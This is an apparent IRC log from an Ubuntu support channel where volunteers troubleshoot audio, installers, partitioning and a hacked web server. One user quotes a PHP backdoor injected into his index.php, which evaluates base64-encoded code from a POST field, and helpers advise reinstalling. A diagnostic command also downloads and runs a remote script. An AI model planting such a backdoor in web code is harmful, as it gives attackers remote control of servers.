[12:54] <ActionParsnip> almostworking: all the way bck to Gutsy in 2007 used Compiz
[12:54] <hojgaard> ActionParsnip, the command smbpasswd is not found at least and i install samba-common-bin, and now it works...
[12:55] <ActionParsnip> hojgaard: then install it, may help with the auth thing
[12:55] <almostworking> yea, but ive never been much for wobbly windows etc.  .... esp with the ton of compiz choices , im still looking for what i need .
[12:58] <rtcg72a> Hi, I am running Ubuntu 12.04 LTS from an Windows Wubi install. I am not able to change the screen brightness and changing the settings in grub doesn't work. What can I do? My laptop is Toshiba Portege T130.
[12:58] <ActionParsnip> almostworking: i see
[12:59] <universal> no audio | ubuntu 13.04
[12:59] <ActionParsnip> almostworking: http://www.linlap.com/toshiba_satellite_t130
[12:59] <ActionParsnip> universal: does the system have a make and model?
[13:00] <universal> HP Pavilion G6-1200TU
[13:00] <ActionParsnip> universal: what is the output of: wget -O alsa-info.sh http://www.alsa-project.org/alsa-info.sh && chmod +x ./alsa-info.sh && ./alsa-info.sh --upload
[13:00] <ActionParsnip> universal: why did you not add the make and model in the initial question?
[13:00] <BluesKaj> !wubi | rtcg72a
[13:00] <universal> ActionParsnip: i thought it was not important, only os was imp.
[13:01] <ActionParsnip> universal: no because the sound chips inside and so forth will be different to other lpatops won't they
[13:01] <universal> ActionParsnip: hmm...yea
[13:01] <ActionParsnip> universal: also some laptops (especialy Acers) have weird ACPI implementations which need to be appreciated
[13:01] <universal> so should I go with that command ?
[13:01] <ActionParsnip> universal: a laptop is a very complex piece of kit
[13:01] <universal> lol yea
[13:02] <ActionParsnip> universal: so yes, the make and model is useful
[13:02] <universal> k
[13:02] <universal> so should I go with that command ?
[13:02] <ActionParsnip> universal: run the command in a terminal and a URL will be generated, what is it please
[13:02] <BluesKaj> rtcg72a:  wubi is no longersupported after 12.04 OS , you might be better off to use Virtual Machine like VB or VMwate
[13:02] <ActionParsnip> BluesKaj: really?
[13:02] <bejker> hi. anyone know what is going on when i hange screen refresh screen is moving and smaler?
[13:03] <Woomla> gconf-editor is not showing up in 12.04, what to do now?
[13:03] <bejker> change*
[13:03] <ActionParsnip> http://www.omgubuntu.co.uk/2013/04/wubi-unlikely-to-be-in-ubuntu-13-04-windows-users-lose-out
[13:03] <ActionParsnip> ayy happy days
[13:03] <ActionParsnip> Woomla: is it not dconf-editor
[13:04] <Woomla> ActionParsnip: no it's gconf-editor
[13:04] <Woomla> ActionParsnip: it appears in the Alt+F2 list
[13:04] <ActionParsnip> Woomla: run it in a terminal, it will tell you the package to install
[13:04] <universal> ActionParsnip: http://www.alsa-project.org/db/?f=37ab75ae3bdfcaf589835eefd85e94fa4aa0e618
[13:04] <ActionParsnip> Woomla: it also may give clues
[13:05] <cfhowlett> BluesKaj, confusing.  I thought and stated as much only to be told that wubi, like Dracula, had risen from the grave again.
[13:05] <ActionParsnip> universal: have you ran updates yet, your kernel is a bit behind
[13:06] <ActionParsnip> universal: sudo apt-get update; sudo apt-get upgrade; sudo apt-get dist-upgrade
[13:06] <BluesKaj> cfhowlett:  could be , but that's the first I've heard of any wubi resurrection
[13:06] <Woomla> ActionParsnip: tx, after sudo gconf-editor, message: not found; after gconf-editor, message not installed. After install, Alt+F2 also shows icon!
[13:06] <cfhowlett> BluesKaj, I still vote the for the silver bullet, oak stake, holy water and salt in coffin disposition.
[13:07] <BluesKaj> cfhowlett:  :)
[13:07] <Someoneelse> I use Xubuntu on my netbook already and am returning to Ubuntu after a few years with mint on my desktop but 12.04 or 13.04. Opinions appreciated.
[13:07] <ActionParsnip> Woomla: dont run GUI apps with sudo, you will break your OS
[13:07] <ActionParsnip> Woomla: use gksudo
[13:07] <hojgaard> ActionParsnip, i have almost the same error: NT_STATUS_ACCESS_DENIED opening remote spool
[13:07] <ActionParsnip> Woomla: you also want to edit your user's settings, so sudo is not appropriate anyway
[13:08] <cfhowlett> Someoneelse, 12.04 is supported for 5 years, 13.04 ... not.
[13:08] <universal> ActionParsnip: No, but it always worked before....why is it not working now ? also I did ps aux | grep audio......Output - root      1849  0.0  0.0      0     0 ?        S<   12:08   0:00 [hd-audio0] ubuntu    2656  0.0  0.0 272980  3756 ?        S<l  12:08   0:00 /usr/bin/pulseaudio --start --log-target=syslog ubuntu    4509  0.6  0.0 351380  4968 ?        S<l  12:09   0:21 /usr/bin/pulseaudio --start --log-target=syslog
[13:09] <Someoneelse> Yep cfhowlett thats why I am leaning towards 12
[13:09] <cfhowlett> Someoneelse, my experience using LTS only:  fresh install every 2 years, update && dist-upgrade in between keeps my system humming like a top.
[13:09] <almostworking> Someoneelse: LTS for the win
[13:10] <Someoneelse> :) That is encouraging Thanks
[13:10] <Woomla> ActionParsnip: tx, any doc on why to use gksudo?
[13:11] <trafalgar> morning gents
[13:11] <cfhowlett> trafalgar, greetings: 21:12 here in Beijing.
[13:12] <Woomla> trafalgar: lol, 15:12 in Amsterdam
[13:12] <guus_> I am creating an USB installer, it is already 5 minutes at 99%, this is normal?
[13:12] <universal> !ubuntu-offtopic
[13:13] <guus_> http://www.ubuntu.com/download/desktop/create-a-usb-stick-on-ubuntu
[13:13] <guus_> this is the steps I followed
[13:13] <guus_> Creating ext2 filesystem
[13:13] <guus_> This the message installer gives me (99%)
[13:13] <cfhowlett> guus_, yes that's normal.  the last minutes of installing look uncomfortably like it froze.  Keep an eye on it as your administrative password is required for some stuff.
[13:14] <cfhowlett> guus_, ext2?  why?  ext4 is the default?
[13:14] <guus_> I have no idea why ext2 means
[13:14] <clue_h> it's a file system , ext4 is the newer version
[13:14] <guus_> I just downloaded ubuntu
[13:15] <guus_> or its my USB?
[13:15] <cfhowlett> guus_, you selected it.  the default filesystem is ext4.  more stable and improved safety.  strongly suggest you reinstall with ext 4
[13:15] <guus_> Not formatted properly?
[13:15] <guus_> Where did I click it, in creating the USB installer?
[13:15] <cfhowlett> guus_, correct
[13:15] <cfhowlett> guus_, right during the setup.
[13:16] <guus_> I did exactly this steps http://www.ubuntu.com/download/desktop/create-a-usb-stick-on-ubuntu
[13:16] <csengstock> hey .. i compiled a deb package using checkinstall. The app is python2.7.5. I used "python" as package name (accidentially) and it was installed. Now the debian package system tells me about wrong dependencies to python .. need python (<<2.7). I am able to remove all the python2.7.5 files (they are in /usr/local/...). However, can i remove the package manually from the dpkg system without breaking something?
[13:16] <guus_> no where it mentioned ext?
[13:16] <trafalgar> Can someone explain what happened with the Ubuntu forums login? I logged in after the site came back and set a new password, but it still seemed like I was not logged in. The only options for logging in being the SSO login at the top right.
[13:16] <guus_> I other words, when I do this steps again, most likely it will make ext2 again
[13:17] <trafalgar> When I log in that way, it accepts it but my username shows a s a random string I have never seen
[13:17] <DJones> D008
[13:17] <DJones> Grr, wrong window
[13:18] <guus_> cfhowlett, where do I set ext4?
[13:18] <Gentoo64> is this just for a live ubuntu on usb?
[13:18] <cfhowlett> guus_,  just select defaults all the way and you'll be fine
[13:18] <guus_> I will plug in a brand new 32GB stick (formatted fat32 I think)
[13:18] <ObrienDave> guus_, ext4 is not needed for a USB stick
[13:19] <cfhowlett> !ext4
[13:19] <guus_> I am creating an USB installer
[13:19] <guus_> No where did I change any defaults
[13:19] <guus_> it gave me ext2 as default
[13:19] <Gentoo64> just leave it if its only an installer
[13:19] <guus_> (for the USB stick)
[13:19] <Gentoo64> doesnt really matter
[13:19] <guus_> Okay thanks
[13:20] <clue_h> guus_, i take it you are only making a bootable usb stick to boot from to then install Ubuntu onto your machine, during the install process choose ext4. the format of the usb stick in my opinion should be as the guide says
[13:20]  * guus_ bows deeply, thanks, turning off machine, and will boot from USB stick 
[13:20] <guus_> yes, thanks clue_h
[13:22] <almostworking> anyone here setup thinkpad fingerprint scanner ?   many how tos and ways of doing this via google
[13:27] <p1l0t> So I'm running this off a virtual disk, a wubi install basically and I am at 28.2/30GB so I need to do something. I never use windows ever and it's a 1TB HD so I want to create like an iso or something from root.disks or whatever it is, format the 1TB completely and load this image on there so I don't have to reinstall everything again. I backup all my data but there are just so many packages to reinstall so that's why I want 
[13:29] <cfhowlett> p1l0t, for the record, wubi is not and never was intended for long term installation.  It's a testing tool only.
[13:29] <LucidGuy> Anyone know if there is a way to manually adding a .deb to a local apt-mirro repor?
[13:29] <LucidGuy> repo
[13:30] <p1l0t> cfhowlett: Ah well I meant to do a dual-boot... I should have figured it out when it would only allow 30GB..
[13:31] <cfhowlett> p1l0t, I've read that there's a wubi/transfer/clone procedure, but as I understand it, the actual outcome is less than pristine.  I'd seriously recommend you back up the data and clean install.
[13:32] <p1l0t> cfhowlett: Yeah the data is all backed up, and I will do it again to make sure it's only like 1 minute old.
[13:32] <cfhowlett> p1l0t, download your ISO (12.04 LTS is my suggestion) and install away then.
[13:33] <p1l0t> cfhowlett: WILCO (have to wait till everybody leaves though)
[13:34] <rsajdok_> Jaką wybrać wersj Ubuntu na thinkpad x22 ?
[13:35] <hylian> lovely, someone was trying to gain access to my account here.
[13:35] <DJones> !pl | rsajdok_
[13:35] <rsajdok_> Próbuje lubuntu 12.04 alternate ale zatrzymuje się w momencie wyboru języka, sugestie?
[13:35] <hylian> after upgrading to 12.04.3, xubuntu no longer remembers my brightness settings. i have to adjust the brightness with every login.
[13:38] <universal> ActionParsnip: upgrade and dist-upgrade is taking a long time....any other shorter way ? if I can kill or remove that audio process and re-start or re-load it ? kill, rmmod and modprobe ? also how to only update kernel and not full os ?
[13:39] <universal> kernel or only audio driver ?
[13:45] <peetaur> Hi. I have an issue with debconf. If I set some selections for the keyboard layout, and then run noninteractive dpkg-reconfigure keyboard-configuration, then all my settings get overwritten, and the layout becomes Afghani instead of what I set. What am I doing wrong? Here's my serverfault question http://serverfault.com/questions/539911/setting-debconf-selections-for-keyboard-configuration-fails-layout-ends-up-as
[13:47] <ActionParsnip> universal: they are taking a long time as you have not updated
[13:47] <ActionParsnip> they will take as long as they take
[13:47] <BruceS> using  encrypted home file system for the first time.  Things like ls seem deathly slow - is this an issue of the encrypted system?  I have always done full disk encryption in the past and seen no slow down
[13:47] <ActionParsnip> universal: you should always be sure you are fully updated before reporting issues as updates fix issues and may fix the issue without having to even ask
[13:48] <paranoidi> can someone explain why my ext4 fs shows 42GB used with df even when I just moved everything off from it. There are no open files and lost+found is empty. du -s shows used space 20kb
[13:48] <ActionParsnip> paranoidi: hidden files?
[13:48] <cfhowlett> paranoidi, hidden files/.trash
[13:49] <peetaur> paranoidi: lsof -Pn /path/to/fs/ | grep deleted
[13:49] <DJones> paranoidi: How big is the drive? Ubuntu will typically reserve 5% of the disk space for operating system use
[13:50] <peetaur> paranoidi: deleted files are not freed up on disk until files are closed
[13:51] <santiago> holaaa....
[13:51] <cfhowlett> !es
[13:51] <paranoidi> no hidden files, no open files (lsof)
[13:52] <santiago> exit
[13:52] <santiago> jjejejejejeej!!!
[13:53] <paranoidi> Reserved block count:     0
[13:53] <paranoidi> filesystem was created without reserved space
[13:55] <WebbyIT> System requirement for Ubuntu is  megabytes of RAM? Seriously?
[13:55] <WebbyIT> https://help.ubuntu.com/13.04/installation-guide/i386/ch03s04.html
[13:57] <peetaur> WebbyIT: upgrade your PC... ram is cheap
[13:58] <WebbyIT> peetaur, my PC has 6GB of ram, but I'm surprised that Ubuntu requires only 64mb
[13:59] <DJones> WebbyIT: That did look a bit out of date, this seems to be the current recommendations https://help.ubuntu.com/community/Installation/SystemRequirements
[14:00] <WebbyIT> DJones, thanks
[14:01] <peetaur> WebbyIT: oh, well yeah it really isn't much for a basic server install... a dns server, for example could run with 70 MB. But your desktop will need far more.
[14:04] <Twinkletoes> Icinga is now at version 1.9.1, but in the repo for Squeeze, it only shows 1.7.1-6.  How do I fidn out which base version of icinga the Squeeze package is built from?
[14:06] <ActionParsnip> Twinkletoes: have you tried to find a PPA
[14:07] <Twinkletoes> what's a ppa?
[14:07] <h00k> !ppa | Twinkletoes
[14:07] <ActionParsnip> Twinkletoes: in Squeeze, this is Ubuntu support, not Debian
[14:07] <bananapie> If a software opens too many files, which log file would have error messages É
[14:07] <Twinkletoes> I'll stick with the repo version, but just wondered if 1.7.1-6 had 6 updtaes since 1.7.1 was officially released or something like that
[14:08] <ActionParsnip> Twinkletoes: this is Ubuntu suport, ask in #debian please
[14:08] <Twinkletoes> Oops, sorry - thought I'd joined debian!
[14:08] <chrisTr87> hi
[14:08] <ActionParsnip> !debian
[14:08] <ActionParsnip> :)
[14:08] <Twinkletoes> ActionParsnip: Thanks for the tip :)
[14:08] <lpapp> hi, is this intentional that the /etc/apache2/sites-available/default file contains "allow" instead of "Allow" at one place for the ubuntu apache installation?
[14:08] <Twinkletoes> lpapp: I don't think it matters
[14:08] <Twinkletoes> lpapp: I just use whatever case-style makes more sensible reading for me
[14:09] <lpapp> Twinkletoes: but it is mixed even in that file.
[14:09] <Twinkletoes> lpapp: I know
[14:09] <chrisTr87> I need some help, I'm starting with my thesis and need to get information about how ubuntu detects usb devices, I was searching for something at the internet, but I wasn't successful yet. Maybe I was searching for the wrong things, but that's why I wanted to ask here
[14:09] <lubse> I'm installing ubuntu on a new 250GB SSD right now, I wish to install (maybe) windows later on the same SSD
[14:09] <lubse> I'm installing ubuntu on a new 250GB SSD right now, I wish to install (maybe) windows later on the same SSD
[14:09] <lubse> I created 3 primary partitions
[14:10] <lubse> this is okay?
[14:10] <FloodBot1> lubse: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[14:10] <chrisTr87> can someone help me here at this one?:)
[14:10] <Twinkletoes> chrisTr87: could you work brackwards from lsusb?
[14:11] <chrisTr87> sorry I'm just working with ubuntu for some months now, I need to learn some things at this one too :)
[14:11] <Twinkletoes> lubse: I'd get Windows to create its partitions (you don't actually have to do the install), then install Linux on another partition
[14:12] <ActionParsnip> lubse: leave unpartitioned space and install windows to it later, its a lot easier to install windows first as the windows installer will blindly overwrite grub on the mbr
[14:12] <lubse> Twinkletoes: right now I need to install ubuntu
[14:12] <Twinkletoes> lubse: If you install Windows AFTER installing linux, it will completely write over your bootloader code
[14:12] <lubse> I have no windows installer lying around
[14:12] <lubse> But I think as default ubuntu installed on entire 250GB
[14:12] <Twinkletoes> lubse: In that case just create a partition for Windows, but beware, you'll need to write grub again after you install Windows *when you get to it)
[14:13] <ActionParsnip> lubse: if you are installing newer windows versions they use2 partitions, so I'd put the Ubuntu insatll on an extended partition and leave free space for WIndows to use
[14:13] <chrisTr87> twinkletoes: do you have tips for me where I should get started?:)
[14:13] <lubse> Right, I leave non-partitioned space, instead of creating partitions
[14:13] <lubse> will ubuntu make a swap partition automagically ?
[14:13] <AcidRain2012> my website has been attacked again >_>
[14:13] <Twinkletoes> chrisTr87: Not really, only that by looking at the source for lsusb, it might give you some ideas
[14:13] <MrQuist> how about changing the admin/admin to something else AcidRain2012
[14:13] <chrisTr87> ok thank you :)
[14:13] <ActionParsnip> lubse: it can do but as you are doing more than the default you will need to make your own
[14:13] <AcidRain2012> MrQuist, what admin/admin?
[14:14] <lubse> ActionParsnip: do I need one?
[14:14] <Twinkletoes> lubse: I don't think so, just give it a 2GB partition - I don't think you'll need any more, reardelss of how much memory you have
[14:14] <lubse> I have 32GB RAM
[14:14] <Twinkletoes> lubse: I reckon you won't *need* one
[14:14] <chrisTr87> Twinkletoes: seems like a good idea :) I was just looking for lsusb
[14:14] <lubse> okay, thanks
[14:15] <Twinkletoes> lubse: With that amoutn of RAM, if you're going to be running out, you want to get some more, not mess around swapping stuff to disk and back
[14:16] <Twinkletoes> chrisTr87: check out usbutils
[14:16] <ActionParsnip> lubse: yes, if you run out of RAM the swap will be used. You also need it if you wantto hibernate or suspend etc
[14:16] <ActionParsnip> lubse: if you do not need suspend / hibernate then you won't need it.
[14:16] <bryguy_> gvfs isn't mounting my iphone, anyone else seeing this problem recently? iphone 4s, ubuntu 13.04
[14:16] <chrisTr87> Twinkletoes: ok thanks, I think this should be good or not? https://github.com/gregkh/lsusb
[14:17] <ActionParsnip> lubse: a home desktop pc with 32gb is enough
[14:17] <bryguy_> i've dried the usual device pairing and nautilus solutions
[14:17] <Twinkletoes> chrisTr87: I'm not a programmer - good luck!"
[14:17] <lubse> ActionParsnip: I don't like hibernate, but why I can not suspend without swap space?
[14:17] <boneslash> lubse: PC with 32 will be old enough after 20 years I think :D
[14:17] <boneslash> gb
[14:17] <lubse> How big a swap space I need to suspend (sleep)?
[14:17] <ActionParsnip> lubse: the RAM is written to swap when you hibernate etc
[14:18] <chrisTr87> chrisTr87: I am :) so I will try to understand it :) I know it's bad that I didn't use Ubuntu earlier as an informatics student...
[14:18] <lubse> ActionParsnip: yes, with hibernate, but what about suspend? (I never hibernate for this reason)
[14:18] <ActionParsnip> lubse: not sure, if it just stops then you should be ok. I'd look at how the OS manages the 2 etc. Its not something I use
[14:19] <lubse> I'd like my computer to sleep after 30 minutes of idle time
[14:19] <lubse> I often leave home without turning off the computer
[14:19] <Twinkletoes> lubse: This might help: http://en.wikipedia.org/wiki/Sleep_mode
[14:20] <chrisTr87> oops :D
[14:20] <chrisTr87> Twinkletoes: I am :) so I will try to understand it :) I know it's bad that I didn't use Ubuntu earlier as an informatics student...
[14:20] <chrisTr87> thats what i wanted lol
[14:20] <ActionParsnip> lubse: then you should be ok without, thats just a screensaver and low power mode
[14:21] <chrisTr87> Twinkletoes: thanks for helping me, I need to go away for some minutes. I will try to get information about this, if you're interested in I can tell you if I found something
[14:21] <Twinkletoes> chrisTr87: It's ok thanks - it won't mean much., but if you would liek to share... please do!
[14:21] <chrisTr87> Twinkletoes: sure :) bye
[14:29] <Wiz_KeeD> is anyone here aware of a pdf editor software for ubuntu?
[14:30] <Twinkletoes> Wiz_KeeD: Inkscape will do PDF editing, most of the time
[14:30] <Twinkletoes> Wiz_KeeD: AS will GIMP
[14:30] <Wiz_KeeD> Inkscape, thank you! What are the cases when it fails or what does add complications?
[14:30] <Wiz_KeeD> GIMP? really ? :))
[14:31] <Twinkletoes> Wiz_KeeD: I dunno how it fails, it has to convert the PDF first... bes tthing is to try it and see how you go... is ok 95% of the time for me
[14:31] <Twinkletoes> Wiz_KeeD: Gimp: http://www.wikihow.com/Edit-PDF-Files-in-Linux-Using-GIMP
[14:32] <Twinkletoes> Wiz_KeeD: There are others listed here, too: http://www.cyberciti.biz/tips/open-source-linux-pdf-writer.html
[14:32] <ActionParsnip> !info pdfedit
[14:32] <ActionParsnip> awww
[14:32] <Wiz_KeeD> I wonder where I can set a virtual machine to install and test all of these, I'm done making test-runs on my local system that is now stable and working
[14:33] <wessel> I just installed ubuntu, the first 2 times after I restart my PC ubuntu starts in a black and white window (shell)
[14:33] <Twinkletoes> http://sourceforge.net/projects/pdfedit/
[14:33] <wessel> Now finally it starts in GUI, but I don understand why...
[14:33] <Twinkletoes> Wiz_KeeD: Use Virtual Box
[14:33] <ikonia> Wiz_KeeD: I don't fully understand why you don't/can't use supported software from ubuntu package managment
[14:33] <ikonia> Wiz_KeeD: I don't fully see why you need to keep getting these things that cause a risk to your system - and why you keep going knowing they cause a risk to your system
[14:34] <Wiz_KeeD> I can, but installing and uninstalling more than 4-5 softwares i'm not that comfortable with, unless I really need them
[14:34] <DrFaustus> hi
[14:35] <ikonia> Wiz_KeeD: why not more research, more caution
[14:35] <Wiz_KeeD> Always good ikonia, indeed
[14:35] <ikonia> Wiz_KeeD: and to be honest, you're using the ubuntu package manager, what's the problem uinstallting software you don't need/want ?
[14:35] <Guest20717> hi guys, i have been trying to edit, my /usr/environment file using nano on console login screen and it is as if i don't have rights to do this,  even when i was using root user, what can i do, i can not login into my normal ubuntu since when i try, am redirected to the same login screen, is there a way i can manipulate the files to achieve this, am currently using a live booted mint dvd to access my hard drive files and use apps like irc
[14:35] <Wiz_KeeD> Yes it should be trusted but there can be glitches every now and then if you're installing and testing multiple ones
[14:35] <ikonia> Guest20717: are you the same person who updated /etc/enviornment for JAVA and their PATH
[14:36] <ikonia> Wiz_KeeD: no - there isn 't
[14:36] <DrFaustus> listen,i've just formatted and resized /dev/sdd1,/dev/sdb 5
[14:36] <ikonia> Wiz_KeeD: there are no glitches, this is the point of using the ubuntu package manager
[14:36] <Guest20717> ikonia, yes please
[14:36] <Wiz_KeeD> hmm
[14:36] <ikonia> Guest20717: can you show me your path from /etc/environment
[14:36] <DrFaustus> nor,the paste option is deactivared foe these volumes
[14:37] <Wiz_KeeD> ikonia, do you think you can help out with the wireless driver and try to fix it once and for all? Or should I try like a fix, workaround to make the broadcast on boot and see the wireless networks?
[14:37] <ActionParsnip> Guest20717: is the file system read only?
[14:37] <DrFaustus> how xan i activate it?
[14:37] <ikonia> Wiz_KeeD where are you getting these fixes/workarounds
[14:37] <Wiz_KeeD> i'm not, i was just assuming, and asked if it can be done
[14:37] <ikonia> Wiz_KeeD: the issue you have is that your kernel module for the wifi card is closed source/propitary,
[14:37] <ikonia> Wiz_KeeD: so in terms of bug fixing, options are limited
 listen,i've just formatted and resized /dev/sdd1,/dev/sdb 5,now the paste option is deactivared for these volumes,how can i activate it?
[14:38] <Guest20717> ikonia: this is all that i put in the file yesturday
[14:38] <Guest20717> JAVA_HOME=/usr/lib/jvm/java-6-openjdk-i386
[14:38] <Guest20717> JRE_HOME=/usr/lib/jvm/java-6-openjdk-i386/jre
[14:38] <Guest20717> PATH="...(other path):$JAVA_HOME:$JRE_HOME"
[14:38] <ikonia> DrFaustus: repeating the same thing and starting with "listen" isn't going to get much interest
[14:39] <ikonia> Guest20717 I want to see the full $PATH
[14:39] <ikonia> Guest20717: not you editing it
[14:39] <AcidRain2012> how can i see who modified a file last?
[14:39] <AcidRain2012> and how they modified it
[14:39] <Guest20717> ikonia: that is the current value of PATH
[14:39] <ikonia> AcidRain2012: you can't
[14:39] <ActionParsnip> AcidRain2012: you can if you use tripwire
[14:39] <Wiz_KeeD> ikonia, yes but I think there is another one except the one i'm using, the one suggested in Additional Drivers? that might work better? idk
[14:39] <ActionParsnip> AcidRain2012: the file system doesnt do it by default
[14:39] <AcidRain2012> ActionParsnip, ill look into it
[14:39] <Guest20717> ikonia: yes the file system is read only]
[14:39] <ikonia> Guest20717: so it actually says "....(other path)"
[14:40] <ActionParsnip> Guest20717: thats why then
[14:40] <ikonia> Wiz_KeeD: I don't beleive so
[14:40] <ActionParsnip> Guest20717: sudo mount -o rw,remount /
[14:40] <DrFaustus> ikonia,sorry 4 the disconvenience
[14:40] <ikonia> Wiz_KeeD: the older option was to use ndis - but that is very much frowned upon
[14:40] <AcidRain2012> ActionParsnip, ive had 2 near miss hack attempts
[14:40] <ikonia> AcidRain2012: how do you know this ?
[14:41] <AcidRain2012> if (isset($_POST['update'])) {eval(base64_decode($_POST['update'])); exit;}
[14:41] <Guest20717> ActionParsnip: am on a live dvd, am i to run this command on the login console screen?
[14:41] <ikonia> AcidRain2012 what does that mean ?
[14:41] <ActionParsnip> Guest20717: then / is on the liveCD, you will need to use the mount point of the partition
[14:41] <AcidRain2012> its a php script that has been injected into my index.php file. it executes php code from a $_GET[] request
[14:42] <ikonia> AcidRain2012: so your machine has been compromised then
[14:42] <Twinkletoes> AcidRain2012: assuming you know who the hack attempts were from, you shold be able to sort that.  Assuming someone is gaining unauthorised access to your system... using ssh etc. consider fail2ban
[14:42] <smw94> i had hso modem, after i upgraded to 13.04 its automatic disconnect randomly, any help ? thx
[14:42] <ikonia> AcidRain2012: you need to conisder re-installing the OS and applications
[14:42] <ikonia> Guest20717: that is your problem then - the $PATH is messed up
[14:42] <AcidRain2012> ikonia, this is a clean install
[14:42] <AcidRain2012> clean install as of 1 week ago
[14:42] <ikonia> AcidRain2012: so what are you looking for now then ?
[14:42] <AcidRain2012> ikonia, well id like to know what ip address modified this file last
[14:43] <AcidRain2012> i couldnt find it in access.log
[14:43] <ikonia> AcidRain2012: how do you expectt he file system to do that ?
[14:43] <ActionParsnip> AcidRain2012: run:  last    to see the last few connections
[14:43] <trafalgar> Can someone explain what happened with the Ubuntu forums login? I logged in after the site came back and set a new password, but it still seemed like I was not logged in. The only options for logging in being the SSO login at the top right. When I log in that way, it accepts it but my username shows as a random string I have never seen
[14:43] <ikonia> AcidRain2012: and how can it be a clean install if you are still looking at the logs ?
[14:43] <ikonia> AcidRain2012: if it was a clean install the logs and file history would be gone
[14:43] <smw94> i had hso modem, after i upgraded to 13.04 its automatic disconnect randomly, any help ? thx
[14:43] <Guest20717> ikonia: how can make it ok, this has been what am trying to do, but  file system files are read only
[14:43] <ActionParsnip> trafalgar: i'd ask in #ubuntuforums
[14:43] <AcidRain2012> ikonia, i said as of 1 week ago... this has happened in past 6 days
[14:43] <ikonia> Guest20717 copy the environment file from someone elses machiune
[14:43] <AcidRain2012> this actually happened on the 2nd day i had formatted
[14:43] <ActionParsnip> smw94: when the link drops, run:  dmesg | tail    it may give clues
[14:43] <ikonia> AcidRain2012: right - so your machine is compromised, it needs a clean install
[14:44] <ikonia> AcidRain2012: and a clean application install
[14:44] <ikonia> AcidRain2012: you've been compromised, nothing is fact
[14:44] <Wiz_KeeD> Twinkletoes, the softwares that you use to edit the pdf, does it keep it in the exact same form?
[14:44] <trafalgar> ActionParsnip: Can't post if I don't log in, and my question is about the behavior of logging in
[14:44] <smw94> ActionParsnip: just plug and replug the device
[14:44] <Guest20717> ikonia: you gave the real value of PATH before and i have it, my issue is how to correct the file when restricted?
[14:44] <Wiz_KeeD> I remember trying out pdfedit or something of that sort before and allthough it decoded it, it changed the font and mangled everything up
[14:45] <ikonia> Guest20717: I can't as I don't have that file, someone else on ubuntu - the same version as you can
[14:45] <trafalgar> ActionParsnip: nvm lol gotchya
[14:45] <AcidRain2012> installing tripwire
[14:45] <ikonia> AcidRain2012: that will not help now
[14:45] <ActionParsnip> trafalgar: cool
[14:45] <Twinkletoes> Wiz_KeeD: Why don't you try it?
[14:45] <ikonia> AcidRain2012: your system is compromised - it is useless to try to secure it now
[14:45] <AcidRain2012> ikonia, ill remove the malicious code and wait for another attack
[14:45] <Twinkletoes> Wiz_KeeD: It serves my needs, is all I can say
[14:45] <ikonia> AcidRain2012: you can't do that
[14:45] <ikonia> AcidRain2012: you don't know what else is changed and what else has been hidden
[14:45] <ActionParsnip> AcidRain2012: if you have been compromised then anything could have been affected, so you may install stuff but it may be thwarted or show no issues
[14:45] <ikonia> AcidRain2012: hence why clean install and application re-install is the only way
[14:45] <Twinkletoes> Wiz_KeeD: Inkscape can also save as PDF
[14:45] <AcidRain2012> ikonia, this is the 3rd time
[14:45] <ikonia> AcidRain2012: then you need to plug the hole
[14:46] <ikonia> AcidRain2012: I'm guessing wordpress or something like that is being exploiuted
[14:46] <Wiz_KeeD> Did you edit pdf that were nicely aligned with fonts and images and edited that stayed in the same form?
[14:46] <AcidRain2012> ikonia, well im mostly here asking questions because i cant find the hole
[14:46] <ikonia> AcidRain2012: right - so installing tripwire now is pointless
[14:46] <AcidRain2012> ikonia, no wordpress
[14:46] <AcidRain2012> :( removing tripwire
[14:46] <ikonia> AcidRain2012: explaining the problem may get people to help you how to fix it
[14:46] <clue_h> AcidRain2012, where did you go to get infected
[14:46] <ikonia> AcidRain2012: then you can do a clean install and have confidence you've plugged it
[14:47] <AcidRain2012> ikonia, i was hacked. reinstalled ubuntu. hacked again
[14:47] <ikonia> AcidRain2012: right so you have a problem, you need to work out by telling us the details how to fix it
[14:47] <AcidRain2012> explanation of problem: if (isset($_POST['update'])) {eval(base64_decode($_POST['update'])); exit;} is added to index.php. how? idk
[14:47] <ikonia> AcidRain2012: that is not detail
[14:47] <ikonia> AcidRain2012: that is random stuff
[14:47] <Guest20717> ikonia: then may be it was some one else, i asked for the value and some one gave me this      PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games"  on this same site
[14:47] <ikonia> Guest20717: great
[14:47] <AcidRain2012> ikonia, im giving you all the information that i have
[14:48] <AcidRain2012> idk how it got there
[14:48] <ikonia> AcidRain2012: no you're not - what application is being compromised
[14:48] <Pici> AcidRain2012: So you're running a web server?
[14:48] <ikonia> AcidRain2012: just a random line of code is nothing
[14:48] <AcidRain2012> lol. ikonia idk
[14:48] <AcidRain2012> i would say apache2
[14:48] <ikonia> AcidRain2012: you don't know what application you are running
[14:48] <ikonia> AcidRain2012: what is the name of the file that's being compromised ?
[14:48] <AcidRain2012> apache2 is the only service on my machine that has access to those files
[14:48] <peetaur> AcidRain2012: to prevent easy hacking is very simple ... disable root login; disable password and pam auth and use pubkey only; firewall the machine from the WAN; and if paranoid, any untrusted network software should run in apparmor, like skype, browsers, mail client, etc.
[14:48] <sathish> Hey guys, I have installed Ubuntu 13.04 on my laptop but the brightness lock doesn't work, It reverts back to highest brightness every few seconds, How do I fix it? Is there any solutions available? It irritates me a lot :-|
[14:48] <ikonia> AcidRain2012: what is the name of the file that's being compromised ?
[14:48] <Guest20717> ikonia: now how can i go about the restriction issue, i have tried using nano command on the login console screen, and i was restricted
[14:49] <AcidRain2012> /var/www/wwb/index.php <-- compromised file
[14:49] <ikonia> Guest20717: fix it from a live cd
[14:49] <ikonia> AcidRain2012 what is wwb ?
[14:49] <AcidRain2012> just a website im working on
[14:49] <ikonia> AcidRain2012: ok, so the code is code you are writing yourself ?
[14:49] <Guest20717> ikonia: still the same restriction
[14:49] <ikonia> Guest20717: no it's not
[14:49] <AcidRain2012> ikonia, i would never write that code. EVER.
[14:49] <ikonia> AcidRain2012: please try to LISTEN
[14:50] <ikonia> AcidRain2012: the page that is being exploited is code that you are writing yourself from scratch, yes/no
[14:50] <AcidRain2012> yes
[14:50] <Guest20717> ikonia: then let me confirm the current restriction and get back while on a live cd
[14:50] <ikonia> AcidRain2012: ok, can you show me the permissions of the file
[14:50] <AcidRain2012> ikonia, sure, hang on
[14:50] <ActionParsnip> ikonia: you read my mind
[14:50] <ActionParsnip> ikonia: my money is on 777 :)
[14:50] <ikonia> I don't think so
